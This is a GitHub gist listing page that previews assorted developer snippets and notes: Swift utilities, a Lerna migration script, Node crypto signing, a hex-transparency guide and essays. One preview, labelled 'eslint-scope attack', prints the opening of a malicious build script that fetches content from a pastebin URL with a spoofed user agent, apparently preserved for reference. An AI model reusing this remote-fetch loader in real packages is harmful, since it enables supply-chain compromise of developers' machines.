Skip to content

Instantly share code, notes, and snippets.

View luish's full-sized avatar

Luis H. Sousa luish

View GitHub Profile
@stettix
stettix / things-i-believe.md
Last active March 20, 2024 17:45
Things I believe

Things I believe

This is a collection of the things I believe about software development. I have worked for years building backend and data processing systems, so read the below within that context.

Agree? Disagree? Feel free to let me know at @JanStette. See also my blog at www.janvsmachine.net.

Fundamentals

Keep it simple, stupid. You ain't gonna need it.

@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@JamieMason
JamieMason / migrate-to-lerna.sh
Last active April 25, 2019 18:58
Bash script to migrate multiple projects into one Lerna monorepo (https://lernajs.io)
#!/usr/bin/env bash
set -x
shopt -s extglob dotglob
cd "$HOME"
rm -rf "$HOME/TEMP_DIR"
mkdir "$HOME/TEMP_DIR"
cd "$HOME/TEMP_DIR"
git init
@MatthieuLemoine
MatthieuLemoine / crypto.js
Created January 23, 2017 14:36
Node crypto sign & verify
const id = '__JUNK__';
// Public key need to be in PKCS8 format
// ssh-keygen -e -m PKCS8 -f id_rsa.pub > id_rsa.pkcs8
const publicKey = fs.readFileSync(path.join(__dirname, 'id_rsa.pkcs8'), { encoding : 'utf8' });
const privateKey = fs.readFileSync(path.join(__dirname, 'id_rsa'), { encoding : 'utf8' });
// Sign
const signer = crypto.createSign('RSA-SHA512');
signer.update(id);
const signature = signer.sign(privateKey, 'hex');
let coreMotionActivity = CMMotionActivityManager()
let coreMotionQueue = OperationQueue()
let end = Date()
let daysToEstimate = 8
let start = end.addDays(daysToAdd: -daysToEstimate)
coreMotionActivity.queryActivityStarting(from: start, to: end, to: coreMotionQueue) { (activities, error) in
guard let activities = activities, error == nil else { print("no motion data :/"); return completion() }
let sorted = activities.sorted { $0.0.startDate.timeIntervalSince1970 > $0.1.startDate.timeIntervalSince1970 }
let motionActivities = sorted.filter{ ($0.stationary || $0.walking || $0.running || $0.cycling || $0.automotive) && $0.confidence == .high }.map { ($0.startDate) }
@lopspower
lopspower / README.md
Last active May 3, 2024 13:26
Hexadecimal color code for transparency

Hexadecimal color code for transparency

Twitter

How to set transparency with hex value ?

For example, you want to set 40% alpha transparence to #000000 (black color), you need to add 66 like this #66000000.

Download This sample on Google Play Store

@jonelf
jonelf / standard_deviation.swift
Last active February 15, 2024 21:45
Standard Deviation in Swift
func standardDeviation(arr : [Double]) -> Double
{
let length = Double(arr.count)
let avg = arr.reduce(0, {$0 + $1}) / length
let sumOfSquaredAvgDiff = arr.map { pow($0 - avg, 2.0)}.reduce(0, {$0 + $1})
return sqrt(sumOfSquaredAvgDiff / length)
}
let responseTimes = [ 18.0, 21.0, 41.0, 42.0, 48.0, 50.0, 55.0, 90.0 ]
@HamptonMakes
HamptonMakes / RBResizer.swift
Created June 27, 2014 14:45
Swift Image Resizer
//
// RBResizer.swift
// Locker
//
// Created by Hampton Catlin on 6/20/14.
// Copyright (c) 2014 rarebit. All rights reserved.
//
import UIKit
@ndarville
ndarville / business-models.md
Last active January 13, 2024 17:27
Business models based on the compiled list at http://news.ycombinator.com/item?id=4924647. I find the link very hard to browse, so I made a simple version in Markdown instead.

Business Models

Advertising

Models Examples
Display ads Yahoo!
Search ads Google
@viniciusteles
viniciusteles / gist:556029
Created August 29, 2010 06:20
Sete Atitudes para Hackear a Indústria de Software
Sete Atitudes para Hackear a Indústria de Software
By Klaus Wuestefeld
1) Torne-se excelente.
Seja realmente bom em alguma coisa. Não fique só choramingando ou
querendo progredir às custas dos outros. Não pense q pq vc sentou 4
anos numa faculdade ouvindo um professor falar sobre software q vc
sabe alguma coisa. Jogador de futebol não aprende a jogar bola tendo